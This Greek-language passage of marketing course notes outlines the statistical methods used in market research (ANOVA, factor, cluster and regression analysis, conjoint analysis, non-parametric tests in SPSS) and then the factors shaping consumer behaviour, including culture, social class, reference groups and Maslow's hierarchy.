ανεξάρτητης μεταβλητής σε μια scale εξαρτημένη μεταβλητή. Η ανάλυση διακύμανσης διπλής κατεύθυνσης (two way ANOVA), εξετάζει μια scale εξαρτημένη μεταβλητή που επηρεάζεται από δυο κατηγοριοποιημένες ανεξάρτητες μεταβλητές. Στην ανάλυση συνδιακύμανσης (ANCOVA), εκτός από την εξαρτημένη μεταβλητή υπάρχει και μια άλλη η οποία συνδέεται γραμμικά με την εξαρτημένη. Με την ανάλυση συνδιακύμανσης επιτυγχάνεται ο έλεγχος της επίδρασης της μεταβλητής αυτής, επάνω στην εξαρτημένη. Τέλος, με την πολλαπλή ανάλυση διακύμανσης (MANOVA) και την πολλαπλή ανάλυση συνδιακύμανσης (MANCOVA) εστιάζονται περισσότερες από μια ανεξάρτητες μεταβλητές. Παραγόντων 84 Η τεχνική της ανάλυσης παραγόντων ή διαφορετικά παραγοντικής ανάλυσης (factor analysis) επιτυγχάνει τη μείωση ενός μεγάλου αριθμού μεταβλητών σε ένα μικρότερο αριθμό σημαντικών παραγόντων. Ιδανική λύση στην ανάλυση παραγόντων, καλείται εκείνη στην οποία η κάθε μεταβλητή έχει υψηλό loading σε έναν παράγοντα και πολύ χαμηλό ή ακόμα και μηδενικό στους υπόλοιπους παράγοντες. Τα factor loadings είναι εκείνα που δίνουν τις σημαντικότερες πληροφορίες στην ανάλυση παραγόντων, εφόσον πολλά αποτελέσματα της ανάλυσης εξαρτώνται από αυτούς. Αν το factor loading είναι υψηλό, τότε η συγκεκριμένη μεταβλητή συνεισφέρει σημαντικά στην περιγραφή του εν λόγω παράγοντα. Το διάγραμμα scree plot των eigenvalues στον οριζόντιο άξονα και των παραγόντων στον κάθετο άξονα δίνει πληροφορίες για την επιλογή του βέλτιστου αριθμού των εξαγόμενων παραγόντων. Από το output του SPSS εντοπίζονται οι μεταβλητές που σχετίζονται με έναν παράγοντα. Στη συνέχεια με βάση τα κοινά χαρακτηριστικά των μεταβλητών που σχετίζονται με έναν παράγοντα, ο ερευνητής προβαίνει στην ονομασία του. Ομάδων Η ανάλυση ομάδων (cluster analysis) κατατάσσει τις παρατηρήσεις μιας έρευνας αγοράς σε δυο ή περισσότερες ομάδες των οποίων τα μέλη έχουν κοινά χαρακτηριστικά. Η πιο διαδεδομένη εφαρμογή της ανάλυσης ομάδων είναι η τμηματοποίηση των αγορών (segmentation). Εάν ο αριθμός των ομάδων είναι γνωστός τότε χρησιμοποιείται μια ταχεία μέθοδος ανάλυσης ομάδων γνωστή ως KMeans Cluster. Στην περίπτωση όπου η προεπιλογή του αριθμού των ομάδων που θα εξαχθούν δεν είναι εφικτή, τότε χρησιμοποιείται η ιεραρχική ανάλυση ομάδων γνωστή ως Hierarchical Clustering. Η ανάλυση ομάδων χρησιμοποιείται συνήθως συνδυαστικά με την ανάλυση διάκρισης (discriminant analysis). Η ανάλυση διάκρισης βασίζεται στη δημιουργία ενός μοντέλου πρόβλεψης της ομάδας στην οποία ανήκει μια παρατήρηση στηριζόμενη στα χαρακτηριστικά του κάθε ερωτώμενου. Παλινδρόμησης 85 Η ανάλυση παλινδρόμησης χρησιμοποιείται κυρίως για την πρόβλεψη των τιμών της εξαρτημένης μεταβλητής, αλλά και για τον καθορισμό της δομής της σχέσης μέσα από τη μαθηματική εξίσωση που συσχετίζει την εξαρτημένη με τις ανεξάρτητες

μεταβλητές. Όταν οι ανεξάρτητες μεταβλητές σχετίζονται μεταξύ τους, τότε υπάρχει πολυσυγγραμμικότητα και συνεπώς η ακρίβεια της εκτίμησης των συντελεστών παλινδρόμησης μπορεί να είναι χαμηλή. Στη γραμμική παλινδρόμηση, ο συντελεστής παλινδρόμησης b αντιπροσωπεύει το μέγεθος της μεταβολής της εξαρτημένης μεταβλητής, όταν η ανεξάρτητη μεταβλητή μεταβληθεί κατά μια μονάδα. Η σταθερά α της εξίσωσης δείχνει την τιμή της εξαρτημένης μεταβλητής όταν η ανεξάρτητη μεταβλητή μηδενιστεί. Στη λογαριθμική παλινδρόμηση, με τη μέθοδο της μεγιστοποίησης των πιθανοτήτων, υπολογίζονται οι λογαριθμικές πιθανότητες της εξαρτημένης μεταβλητής. Η binary λογαριθμική παλινδρόμηση, αποτελεί μια μορφή παλινδρόμησης η οποία χρησιμοποιείται όταν η εξαρτημένη μεταβλητή είναι διχοτομική. Στην περίπτωση που η εξαρτημένη μεταβλητή είναι nominal και όχι διχοτομική, προτιμάται η multinominal λογαριθμική παλινδρόμηση. Η ανάλυση μονοπατιού (path analysis) χρησιμοποιείται για τον έλεγχο δυο ή περισσοτέρων

αιτιολογικών

μοντέλων

(causal

models)

τα

οποί

απεικονίζονται

διαγραμματικά. Conjoin Η ανάλυση Conjoin βασίζεται στην υπόθεση ότι οι καταναλωτές αξιολογούν τη χρησιμότητα ή την αξία ενός προϊόντος συνδυάζοντας την ξεχωριστή ποσότητα της χρησιμότητας που παρέχει καθένα από τα χαρακτηριστικά του. Στην ανάλυση Conjoin κατασκευάζεται ένα μείγμα υποθετικών προϊόντων συνδυάζοντας τα πιθανά χαρακτηριστικά τους σε διάφορα επίπεδα. Τα υποθετικά αυτά προϊόντα παρουσιάζονται στη συνέχεια στους ερωτώμενους, οι οποίοι καλούνται να τα αξιολογήσουν. Ο όρος παράγοντας (factor) περιγράφει ένα συγκεκριμένο χαρακτηριστικό του προϊόντος. Οι πιθανές αξίες του κάθε παράγοντα, ονομάζονται επίπεδα (levels). Ο συνδυασμός των παραγόντων και των επιπέδων ονομάζεται treatment ή stimulus. Προκειμένου να μειωθούν οι δυνατοί συνδυασμοί των χαρακτηριστικών, χρησιμοποιείται το Orthogonal Design. Η ανάλυση Conjoin, γίνεται από το Syntax Window του SPSS. Μετά την ολοκλήρωση της ανάλυσης, ο ερευνητής είναι σε θέση να περιγράψει το προϊόν με βάση τα αξιολογούμενα από τους ερωτώμενους χαρακτηριστικά και τις σχετικές αξίες που οι ερωτώμενοι απένειμαν στα χαρακτηριστικά του. Πολυδιάστατη Κλιμακοποίηση και Αντιστοιχία 86 H Πολυδιάστατη Κλιμακοποίηση (multidimensional scaling, MDS) έχει σκοπό να εντοπίσει την αντιληπτή από τους καταναλωτές εικόνα μιας μάρκας, ενός προϊόντος, μιας υπηρεσίας, μιας επιχείρησης ή μιας ιδέας. Ο χάρτης αντίληψης που προκύπτει από την πολυμεταβλητή, παρουσιάζει τη σχετική τοποθέτηση (positioning) κάθε μάρκας που συμπεριλαμβάνεται στην MDS. Ο εντοπισμός της εικόνας της μάρκας πραγματοποιείται με τον μετασχηματισμό των προτιμήσεων ή των αξιολογήσεων των καταναλωτών σε αποστάσεις (proximities) που αντικατοπτρίζονται στον πολυδιάστατο χώρο. Οι βασικές μέθοδοι συλλογής στοιχείων για την πολυδιάστατη κλιμακοποίηση, είναι η

μέθοδος συλλογής similarities data (στοιχείων ομοιότητας) και η μέθοδος συλλογής preference data (στοιχείων προτίμησης). Η μέθοδος unfolding, αναφέρεται στην αναπαράσταση των προτιμήσεων των συμμετεχόντων στην έρευνα, μαζί με τις μεταβλητές στον αντιληπτικό χάρτη. Η ανάλυση αντιστοιχίας (correspondence analysis) παρουσιάζει γραφικά τη σχέση μεταξύ των κατηγοριών δυο μεταβλητών. Και σε αυτή τη μέθοδο χρησιμοποιούνται αντιληπτικοί χάρτες και παρόλο που είναι μια απλώς περιγραφική μέθοδος χρησιμοποιείται ευρύτατα στην έρευνα αγοράς, προκειμένου να παρουσιαστούν γραφικά στο χώρο οι προτιμήσεις των καταναλωτών. Μη παραμετρική ανάλυση Η μη παραμετρική ανάλυση, είναι κατάλληλη για δεδομένα που προκύπτουν από πληθυσμούς για τους οποίους δεν μπορεί να υποτεθεί κανονικότητα. Σε σύγκριση με τις παραμετρικές μεθόδους ανάλυσης, οι οποίες στηρίζονται στην υπόθεση κανονικότητας του πληθυσμού, η αξιοπιστία των μη παραμετρικών μεθόδων, είναι μικρότερη. Οι μη παραμετρικές όμως μέθοδοι, μπορούν να χρησιμοποιηθούν σε κανονικούς αλλά και μη κανονικούς πληθυσμούς. Το Mann-Whitney U Test, εξετάζει την ύπαρξη μιας τυχαίας μίξης ταξινομήσεων μεταξύ των δυο ανεξάρτητων δειγμάτων, αποτελώντας μια εναλλακτική λύση του TTest για τη διαφορά μεταξύ δυο μέσων. Το Kruskal – Wallis test είναι μη παραμετρική εκδοχή της ανάλυσης διακύμανσης μονής κατεύθυνσης. Ελέγχει τη μηδενική υπόθεση, ότι k ανεξάρτητα δείγματα προέρχονται από ίδιους πληθυσμούς. Το Μc Nemar test εξετάζει την σημαντικότητα των διαφορών ανάμεσα σε δύο εξαρτημένα μεταξύ τους δείγματα, όταν η εξεταζόμενη μεταβλητή είναι διχοτομική. To Wilcoxon Signed Rank test (έλεγχος προσημασμένων τάξεων), εξετάζει την σχέση δύο εξαρτημένων μεταξύ τους δειγμάτων, όταν η εξεταζόμενη μεταβλητή ordinal ή interval. Το Friedman test ελέγχει την μηδενική υπόθεση ότι οι μετρήσεις από k ανεξάρτητα μεταξύ τους δείγματα προέρχονται από τον ίδιο πληθυσμό. Ο συντελεστής συσχέτισης του Spearman ελέγχει την ύπαρξη συσχέτισης δύο ζευγαρωτών μεταβλητών των οποίων οι παρατηρήσεις παρουσιάζονται σε ζεύγη.

Εισαγωγή στη Συμπεριφορά Καταναλωτή Στην υποενότητα αυτή θα εξετάσουμε την έννοια της συμπεριφοράς καταναλωτή, την πολυπλοκότητας της και τη σχέση της με το μείγμα μάρκετινγκ στη διαμόρφωση της στρατηγικής μίας επιχείρησης. Η έννοια της Συμπεριφοράς Καταναλωτή Η επιτυχία μιας επιχείρησης στον τομέα του μάρκετινγκ αλλά και η βιωσιμότητά της εξαρτάται από τη διερεύνηση της συμπεριφοράς των πελατών της. Για να γίνει πρόβλεψη

αυτής της συμπεριφοράς και να υπάρξει ανταπόκριση στις ανάγκες των πελατών χρειάζεται μια ολοκληρωμένη κατανόηση της συμπεριφοράς τους πριν, κατά και μετά την αγορά. Ως συμπεριφορά καταναλωτή ορίζεται η συμπεριφορά του ατόμου αναφορικά με • την αναζήτηση, • την αξιολόγηση, • την αγορά, • τη χρήση προϊόντων • και την απαλλαγή του από αυτά ώστε να ικανοποιήσει τις ανάγκες και τις επιθυμίες του.

Κατανόηση καταναλωτικής συμπεριφοράς Επομένως, η κατανόηση της καταναλωτικής συμπεριφοράς είναι και μια απαραίτητη επιχειρησιακή πρακτική. Για να αποφασίζει ο καταναλωτής για την αγορά κάποιου προϊόντος ή υπηρεσίας: • λαμβάνει διάφορα εξωτερικά ερεθίσματα (επιδράσεις) από το μάρκετινγκ και από το περιβάλλον του • ακολουθεί μια διαδικασία λήψης αγοραστικών αποφάσεων • έχει μια συγκεκριμένη συμπεριφορά μετά την αγορά του, ανάλογα με το εάν έμεινε ικανοποιημένος ή όχι από αυτή. Ουσιαστικά, η συμπεριφορά του καταναλωτή μας βοηθά να ερευνήσουμε τον τρόπο με τον οποίο οι άνθρωποι παίρνουν συγκεκριμένες καταναλωτικές αποφάσεις βάσει των πόρων που έχουν στη διάθεση τους (χρόνο, χρήμα κλπ). Είναι ένας κλάδος του Μάρκετινγκ που έχει ως στόχο τη μελέτη πέντε συγκεκριμένων ερωτημάτων: 1. Τι αγοράζουν οι καταναλωτές; 2. Γιατί το αγοράζουν; 3. Πότε το αγοράζουν; 4. Από πού το αγοράζουν; 5. Με τι συχνότητα το αγοράζουν;

Το Μαύρο Κουτί του Καταναλωτή Το μοντέλο αυτό βασίζεται στην άποψη ότι στο περιβάλλον του ατόμου υπάρχει πλήθος ερεθισμάτων που διαμορφώνουν τη συναισθηματική και γνωστική κατάσταση του, η οποία είναι υπεύθυνη για την αγοραστική του συμπεριφορά.

Ειδικότερα, ως ερεθίσματα, αναφέρονται εξωτερικά από το άτομο στοιχεία όπως οι ενέργειες μάρκετινγκ (το προϊόν, η τιμή, η διανομή, η προώθηση) αλλά και το οικονομικό, πολιτιστικό, τεχνολογικό κλπ. περιβάλλον. Ο αριθμός των ερεθισμάτων που εντοπίζεται στο περιβάλλον του καταναλωτή είναι ιδιαίτερα μεγάλος. Η εικόνα του καταστήματος, η μουσική, οι πωλητές αλλά και οι άλλοι παρόντες πελάτες, σε συνδυασμό με τα στοιχεία του μείγματος μάρκετινγκ, επηρεάζουν την αντίληψη του καταναλωτή και του δημιουργούν συναισθήματα. Στη συνέχεια, θα γίνει επεξεργασία όλων των ερεθισμάτων που έχει δεχτεί το άτομο μέσα στο μαύρο του κουτί, με βάση τα χαρακτηριστικά του ατόμου και την αγοραστική διαδικασία. Η επεξεργασία αυτή είναι μοναδική για κάθε άτομο και δεν είναι εύκολα προβλέψιμη καθώς οι παράγοντες ποικίλλουν. Για αυτό και περιγράφεται ως μαύρο κουτί, καθώς είναι πολύ δύσκολο να γίνει αντιληπτή η διαδικασία μέσα στο μυαλό του κάθε μεμονωμένου καταναλωτή. Σαν αποτέλεσμα αυτής της επεξεργασίας, το άτομο θα προβεί σε αγοραστικές ενέργειες, με βασικότερη την απόφαση αγορά - μη αγορά. Αν τελικά προβεί σε αγορά, θα αποφασίσει τη μάρκα, από πού θα την αγοράσει, ποτέ θα την αγοράσει, σε τι ποσότητα και εάν θα μείνει πιστός στη συγκεκριμένη μάρκα.

Συμπεριφορά Καταναλωτή με το Μείγμα Μάρκετινγκ Η μελέτη της συμπεριφοράς των καταναλωτών και αγοραστών έχει τεράστια σημασία για το μάρκετινγκ, γιατί αποτελεί στοιχείο που συμβάλλει σημαντικά στην κατάστρωση μιας αποτελεσματικής στρατηγικής, με την εφαρμογή της οποίας η επιχείρηση θα μπορέσει τελικά να πετύχει τους αντικειμενικούς της σκοπούς. Κάθε απόφαση που λαμβάνεται κατά το σχεδιασμό του μείγματος μάρκετινγκ σχετίζεται άμεσα η έμμεσα με τη συμπεριφορά του καταναλωτή της αγοράς-στόχος που ενδιαφέρει την επιχείρηση.

Παράγοντες που Επηρεάζουν τη Συμπεριφορά του Καταναλωτή Η καταναλωτική συμπεριφορά των ατόμων αποτελεί μια από τις κύριες εκφράσεις της ανθρώπινης συμπεριφοράς και οι παράγοντες που επηρεάζουν τη συμπεριφορά του καταναλωτή είναι πολλοί και σύνθετοι.

Πολιτιστικοί Παράγοντες

Οι πολιτιστικοί παράγοντες ασκούν την ευρύτερη και βαθύτερη επιρροή πάνω στη συμπεριφορά του καταναλωτή. Οι επιχειρήσεις πρέπει να καταλάβουν το ρόλο επιρροής στους πελάτες τους των πολιτιστικών παραγόντων που είναι: • η κουλτούρα • η υποκουλτούρα • και η κοινωνική τάξη του αγοραστή

Κουλτούρα Κουλτούρα είναι οι βασικές αξίες, αντιλήψεις και συμπεριφορές τις οποίες μαθαίνει ένα μέλος της κοινωνίας από την οικογένεια και άλλους σημαντικούς θεσμούς και που είναι αποδεκτές από τη συγκεκριμένη κοινωνία καθώς είναι σχεδιασμένες να αυξάνουν την πιθανότητα επιβίωσης της κοινωνίας αυτής. Κάθε ομάδα ή κοινωνικό σύνολο έχει μια κουλτούρα την οποία πρέπει να λαμβάνει οπωσδήποτε υπόψη το μάρκετινγκ στο σχεδιασμό του καθώς η

συμπεριφορά των

καταναλωτών - μελών μιας κοινωνίας κατευθύνεται από την κρατούσα σε αυτή κουλτούρα. Άρα το μάρκετινγκ πρέπει να αντιλαμβάνεται και να σέβεται τα σύμβολα, τα ταμπού και τη σιωπηρή γλώσσα που χρησιμοποιούν τα άτομα σε μία κοινωνία.

Υποκουλτούρα (ή Επιμέρους Κουλτούρα) Κάθε κουλτούρα αποτελείται από μικρότερες υποκουλτούρες. Η υποκουλτούρα είναι ομάδα ατόμων με κοινά συστήματα αξιών οι οποίες βασίζονται σε κοινές εμπειρίες και καταστάσεις ζωής. Οι υποκουλτούρες περιλαμβάνουν: 1. Ομάδες με το ίδιο κοινωνικοοικονομικό επίπεδο 2. Ηλικιακές ομάδες 3. Θρησκευτικές ομάδες 4. Εθνικότητες και φυλετικές ομάδες 5. Γεωγραφικές περιοχές 6. Ομάδες με την ίδια πολιτική ιδεολογία Πολλές υποκουλτούρες αποτελούν σημαντικά τμήματα αγοράς, ειδικά των νεαρότερων ηλικιών στο σχολικό ή στο φοιτητικό περιβάλλον, και οι επιχειρηματίες συχνά σχεδιάζουν προϊόντα και προγράμματα μάρκετινγκ προσαρμοσμένα στις ανάγκες τους.

Κοινωνική Τάξη

Οι κοινωνικές τάξεις είναι σχετικά σταθερές και διατεταγμένες υποδιαιρέσεις, των οποίων τα μέλη έχουν κοινές αξίες, ενδιαφέροντα και συμπεριφορές. Η κοινωνική τάξη καθορίζεται ως ο συνδυασμός •

του επαγγέλματος,

•

του εισοδήματος,

•

της μόρφωσης, κλπ

Είναι ένας σημαντικότατος πολιτιστικός παράγοντας γι’ αυτό και πολλά προϊόντα ή προωθητικά προγράμματα στοχεύουν σε καταναλωτές συγκεκριμένων κοινωνικών τάξεων. Πολλοί καταναλωτές αγοράζουν προϊόντα ή υπηρεσίες όχι της κοινωνικής τάξης στην οποία ανήκουν αλλά εκείνης που θα ήθελαν να ανήκουν, συχνά σε βάρος της πραγματικής οικονομικής τους δυνατότητας.

Κοινωνικοί Παράγοντες Η συμπεριφορά ενός καταναλωτή επηρεάζεται και από κοινωνικούς παράγοντες όπως η οικογένεια και μικρές κοινωνικές ομάδες, τις ομάδες συμμετοχής και τις ομάδες αναφοράς του κάθε καταναλωτή. Ομάδες Συμμετοχής είναι οι ομάδες στις οποίες ανήκει ένα άτομο και που έχουν άμεση επιρροή στη συμπεριφορά του, όπως οι φίλοι και το επαγγελματικό του περιβάλλον Ομάδες Αναφοράς είναι ομάδες ατόμων στις οποίες δεν ανήκει ο καταναλωτής αλλά που τις χρησιμοποιεί για σημεία αναφοράς όταν πρόκειται να πάρει μια αγοραστική απόφαση. Οι ομάδες αναφοράς εκθέτουν ένα άτομο σε νέους τρόπους ζωής, επηρεάζουν τις στάσεις και την αντίληψη που έχει για τον εαυτό του και δημιουργούν πιέσεις που επηρεάζουν τις επιλογές προϊόντων και μάρκας του ατόμου καθώς λειτουργούν ως άμεσα (προσωπικά) ή έμμεσα σημεία σύγκρισης στη διαμόρφωση της συμπεριφοράς του. Για παράδειγμα, μια ομάδα Αναφοράς είναι μια ομάδα στην οποία το άτομο θα επιθυμούσε να ανήκει, όπως όταν ένας έφηβος παίκτης του μπάσκετ ελπίζει ότι κάποια μέρα θα παίξει στην ομάδα της ΡΕΑΛ και προσελκύεται σε προϊόντα, μάρκες και συμπεριφορές που οι παίκτες αυτής της ομάδας προτιμούν. Η σημαντικότητα των ομάδων Αναφοράς για το μάρκετινγκ είναι ιδιαίτερα μεγάλη. Οι επιχειρήσεις προσπαθούν να προσδιορίσουν τις ομάδες αναφοράς της αγοράς-στόχου τους και να εντάξουν τα προϊόντα τους σε αυτές, για παράδειγμα μέσω χορηγιών δημοφιλών αθλητών, ώστε να επηρεάσουν δραστικά τις επιλογές των ατόμων που «αναφέρονται» σε αυτές τις ομάδες.

Διαμορφωτές Γνώμης (Opinion Leaders) Στις κουλτούρες, στις υποκουλτούρες των καταναλωτών και στις ομάδες με τις οποίες συναναστρέφονται ή σε εκείνες τις ομάδες που θα ήθελαν να ανήκουν, υπάρχουν κάποια άτομα των οποίων η γνώμη έχει μεγάλη βαρύτητα και ως αποτέλεσμα επηρεάζουν καταλυτικά τους υπόλοιπους καταναλωτές. Ένα τέτοιο άτομο είναι διαμορφωτής γνώμης (opinion leader) και ορίζεται ως το άτομο μέσα σε μια ομάδα αναφοράς το οποίο, λόγω των ειδικών δεξιοτήτων, των γνώσεων, της προσωπικότητας η άλλων χαρακτηριστικών του ασκεί επιρροή σε άλλους. Opinion leaders μπορεί να είναι: 1. Ανεπίσημοι, δηλαδή γνωστοί & φίλοι του καταναλωτή, οι οποίοι θεωρούνται γνώστες του αντικειμένου που ενδιαφέρεται ο καταναλωτής να αγοράσει και οι οποίοι έχουν δύναμη, δίνουν συμβουλές και είναι πιο τολμηροί σε νέα προϊόντα. 2. Δημοσιογράφοι που ο καταναλωτής εμπιστεύεται. 3. Ειδικοί & Κριτικοί (π.χ. κινηματογράφου, γευσιγνωσίας κλπ). 4.Προσωπικότητες των Media (Stars & Celebrities), που για αυτό το λόγο χρησιμοποιούνται ευρέως σε διαφημιστικές καμπάνιες. Η συμπεριφορά ενός καταναλωτή επηρεάζεται και από προσωπικούς παράγοντες όπως •

η ηλικία

•

η φάση κύκλου ζωής

•

το επάγγελμα

•

η οικονομική κατάσταση

•

ο τρόπος ζωής (life style)

•

και η προσωπικότητα του καταναλωτή

Ολοένα και περισσότερος σημαντικός παράγοντας

γίνεται η φάση κύκλου ζωής του

καταναλωτή, όπως ορίζεται από την ηλικία του, από το εάν είναι παντρεμένος ή ανύπαντρος και από το εάν έχει παιδία και τι ηλικίας.

Η Οικονομική Κατάσταση του Καταναλωτή Η οικονομική προσέγγιση της μελέτης της καταναλωτικής συμπεριφοράς των καταναλωτών βασίζεται σε διάφορες οικονομικές θεωρίες και παραδοχές όπως: •

Τα άτομα γνωρίζουν επακριβώς τις ανάγκες τους και όλους τους εναλλακτικούς τρόπους ικανοποίησής τους. Γνωρίζουν, δηλαδή, τα πάντα για τα διαθέσιμα προϊόντα ή υπηρεσίες που προορίζονται για την ικανοποίηση των αναγκών τους.

•

Τα άτομα συμπεριφέρνονται ορθολογικά, χρησιμοποιώντας τους διαθέσιμους πόρους τους με τρόπο που μεγιστοποιεί την ωφέλεια που αποκομίζουν από τα προϊόντα ή τις υπηρεσίες που επιλέγουν.

Οι προτιμήσεις τους δεν εξαρτώνται από τις συνθήκες του περιβάλλοντος μέσα στο οποίο ζουν. Ωστόσο, σήμερα οι παραδοχές αυτές δεν ισχύουν στην πράξη. Οι καταναλωτές συχνά δεν συμπεριφέρονται ορθολογικά αλλά συναισθηματικά, και δεν παραμένουν ανεπηρέαστοι από τις συνθήκες του περιβάλλοντος, όπως π.χ. ο κοινωνικός τους κύκλος. Συνεπώς, οι οικονομικές θεωρίες δεν μπορούν από μόνες τους να ερμηνεύσουν τη συμπεριφορά του καταναλωτή.

Ο Τρόπος Ζωής (Life Style) Ως τρόπος ζωής (life style) ορίζεται το μοντέλο διαβίωσης ενός ατόμου όπως αυτό εκφράζεται από •

Τις δραστηριότητες του (εργασία, χόμπι, αγορές, σπορ, κοινωνικές εκδηλώσεις, κλπ)

•

Τα ενδιαφέροντα του (διατροφή, μόδα, οικογένεια, ψυχαγωγία, κλπ)

•

Τις γνώμες του (για τον εαυτό του, κοινωνικά θέματα, πολιτική, προϊόντα, κλπ)

Οι ψυχολογικοί Παράγοντες Οι αγοραστικές επιλογές ενός ατόμου επηρεάζονται, από πέντε βασικούς ψυχολογικούς παράγοντες: •

την παρακίνηση (κίνητρα) που έχει ο καταναλωτής

•

την αντίληψη του καταναλωτή

•

την ικανότητα μάθησης του

•

τα πιστεύω του

•

τις στάσεις του

Παρακίνηση - Κίνητρα του Καταναλωτή Ως κίνητρο ορίζεται μία ανάγκη που είναι επαρκώς πιεστική ώστε να οδηγήσει το άτομο να επιζητήσει την ικανοποίηση της ανάγκης αυτής. Η φύση των ανθρωπίνων αναγκών είναι ίσως ο πλέον καθοριστικός παράγοντας της καταναλωτικής συμπεριφοράς των ανθρώπων. Ως ανθρώπινη ανάγκη ορίζεται οποιοδήποτε στοιχείο, υλικό ή άυλο, που απαιτείται για την υγεία και ευεξία του ατόμου και του οποίου η έλλειψη προκαλεί μια εσωτερική διαταραχή, που ωθεί το άτομο σε ενέργειες για την απόκτηση του. Οι ανθρώπινες ανάγκες είναι

διαφορετικές από τις ανάγκες των άλλων ζώντων οργανισμών. Απορρέουν από την πολιτιστική εμπειρία των ατόμων και δεν περιορίζονται στις οργανικές αναγκαιότητες της φυσικής ύπαρξης, αλλά εκτείνονται σε περιοχές που συμβάλλουν στην ψυχική ισορροπία και ικανοποίηση του ατόμου. Πολλοί πιστεύουν ότι οι ανθρώπινες ανάγκες αλλάζουν διαχρονικά και παράλληλα δημιουργούνται νέες από τις συνεχώς μεταβαλλόμενες κοινωνικές συνθήκες ή με τη χρήση μηχανισμών του Μάρκετινγκ. Πρόκειται περί πλάνης. Οι ανθρώπινες ανάγκες είναι περιορισμένες σε αριθμό και παραμένουν διαχρονικά σταθερές. Αυτό που αλλάζει είναι οι επιθυμίες των ανθρώπων για συγκεκριμένα προϊόντα ή μάρκες.

Επιθυμίες Καταναλωτών Για παράδειγμα, η ανάγκη για επικοινωνία υπήρχε πάντα στις ανθρώπινες κοινωνίες. Η επιθυμία για συγκεκριμένο τύπο ή μάρκα τηλέφωνου διαμορφώνεται από τα ερεθίσματα του μάρκετινγκ και την εκάστοτε κοινωνικές συνθήκες. Οι επιθυμίες εκφράζουν τον πόθο του ατόμου για την επιλογή συγκεκριμένων μέσων ικανοποίησης των αναγκών τους. Π.χ. ένα άτομο επιθυμεί να καλύψει τη φυσιολογική ανάγκη της ένδυσης με ρούχα επώνυμων οίκων. Οι επιθυμίες των ατόμων είναι ανεξάντλητες, ενώ οι ανάγκες τους είναι πάντα συγκεκριμένες και περιορισμένες σε αριθμό. Βεβαίως, τα άτομα δεν μπορούν πάντα να ικανοποιήσουν όλες τους τις επιθυμίες, γιατί τις περισσότερες φορές δε διαθέτουν τα οικονομικά μέσα για την αγορά αγαθών ή υπηρεσιών που ικανοποιούν τις επιθυμίες τους. Άρα αλλάζουν τα μέσα που χρησιμοποιούνται για την ικανοποίηση των ανθρωπίνων επιθυμιών τις οποίες συγχέουν οι περισσότεροι με τις ανάγκες.

Η Ιεράρχηση των Ανθρωπίνων Αναγκών Ο Abraham Maslow επιχείρησε να εξηγήσει γιατί οι άνθρωποι παρακινούνται από κάποιες συγκεκριμένες ανάγκες σε κάποιες συγκεκριμένες χρονικές στιγμές. Απάντηση του Maslow είναι ότι οι ανθρώπινες ανάγκες ιεραρχούνται από την περισσότερο πιεστική προς τη λιγότερο πιεστική. Σύμφωνα με τη θεωρία του Maslow, η αφετηρία για την ικανοποίηση των αναγκών του ατόμου είναι η κάλυψη των φυσιολογικών του αναγκών (τροφή, νερό, σεξ κ.λπ.), που εξασφαλίζουν την επιβίωση. Στη συνέχεια, τα άτομα καλύπτουν τις ανάγκες τους κινούμενα από τη βάση της παρακάτω πυραμίδας προς τα ανώτερα επίπεδα. Ικανοποιούν δηλαδή μία κατηγορία αναγκών τους και στη συνέχεια κινούνται προς το ανώτερο επίπεδο αναγκών.

Ικανότητα Μάθησης του Καταναλωτή Μάθηση είναι η νοητική διεργασία που διατηρεί σταθερή ή μεταβάλλει τη συμπεριφορά ενός ατόμου, όταν αυτό αντιμετωπίζει μια νέα κατάσταση. Η μάθηση προκαλεί αλλαγές στη συμπεριφορά ενός ατόμου και οι θεωρητικοί της μάθησης λένε ότι το μεγαλύτερο μέρος της ανθρώπινης συμπεριφοράς μαθαίνεται. Η θεωρία της μάθησης, που έχει τις ρίζες της στα πειράματα του ρώσου ψυχολόγου Α. Ρavlov, υποστηρίζει ότι τα άτομα μαθαίνουν από τις εμπειρίες τους, είτε αυτές είναι θετικές, είτε αρνητικές. Συνεπώς, η συμπεριφορά τους, γενικά, και η καταναλωτική, ειδικότερα, εξαρτάται από τις εμπειρίες τους. Η εφαρμογή αυτής της θεωρίας στο μάρκετινγκ εκδηλώνεται με τις προσπάθειες τόνωσης της ζήτησης προϊόντων ή υπηρεσιών συσχετίζοντάς τα με ισχυρά κίνητρα (π.χ. βελτίωσης εμφάνισης).

Επίσης, με την παρότρυνση των ατόμων για την πραγματοποίηση

επαναληπτικών αγορών μέσα από τη δημιουργία και προβολή θετικών συνειρμών και εμπειριών που αποκτούν τα άτομα από τη χρήση των διαφόρων προϊόντων ή υπηρεσιών και παρέχοντας τους θετική ενίσχυση (π.χ. ορατά αποτελέσματα).

Αντίληψη του Καταναλωτή Αντίληψη είναι ο τρόπος με τον οποίο οι άνθρωποι επιλέγουν, οργανώνουν και ερμηνεύουν πληροφορίες και το περιβάλλον τους και είναι διαφορετικός για κάθε άνθρωπο. Το πώς θα ενεργήσει το άτομο επηρεάζεται από την αντίληψη που έχει για την κατάστασή του, το κάθε προϊόν κλπ. Η αντίληψη του περιβάλλοντος δεν πραγματοποιείται μόνο με τις πέντε αισθήσεις αλλά και με τα πνευματικά ερεθίσματα που δέχονται οι άνθρωποι. Η θεωρία της προσωπικής αντίληψης υποστηρίζει την άποψη ότι κάθε άτομο αντιλαμβάνεται και ερμηνεύει τις καταστάσεις με το δικό του μοναδικό τρόπο. Η προσωπική αντίληψη διαμορφώνεται όχι μόνο από την προσωπικότητα και το πνευματικό επίπεδο του κάθε ατόμου, αλλά και από την ικανότητα του να δέχεται επιλεκτικά πληροφορίες ανάλογα με τα ενδιαφέροντά του. Πχ. μια μητέρα μπορεί να κοιμάται ήσυχη, παρά τον εξωτερικό θόρυβο ενός πολυσύχναστου δρόμου, αλλά να ξυπνήσει αμέσως από ένα ανεπαίσθητο θόρυβο, που προέρχεται από το διπλανό δωμάτιο όπου κοιμάται το παιδί της. Ο μέσος άνθρωπος μπορεί να εκτεθεί σε περισσότερο από 1500 διαφημίσεις μέσα σε μια και μόνο ημέρα.

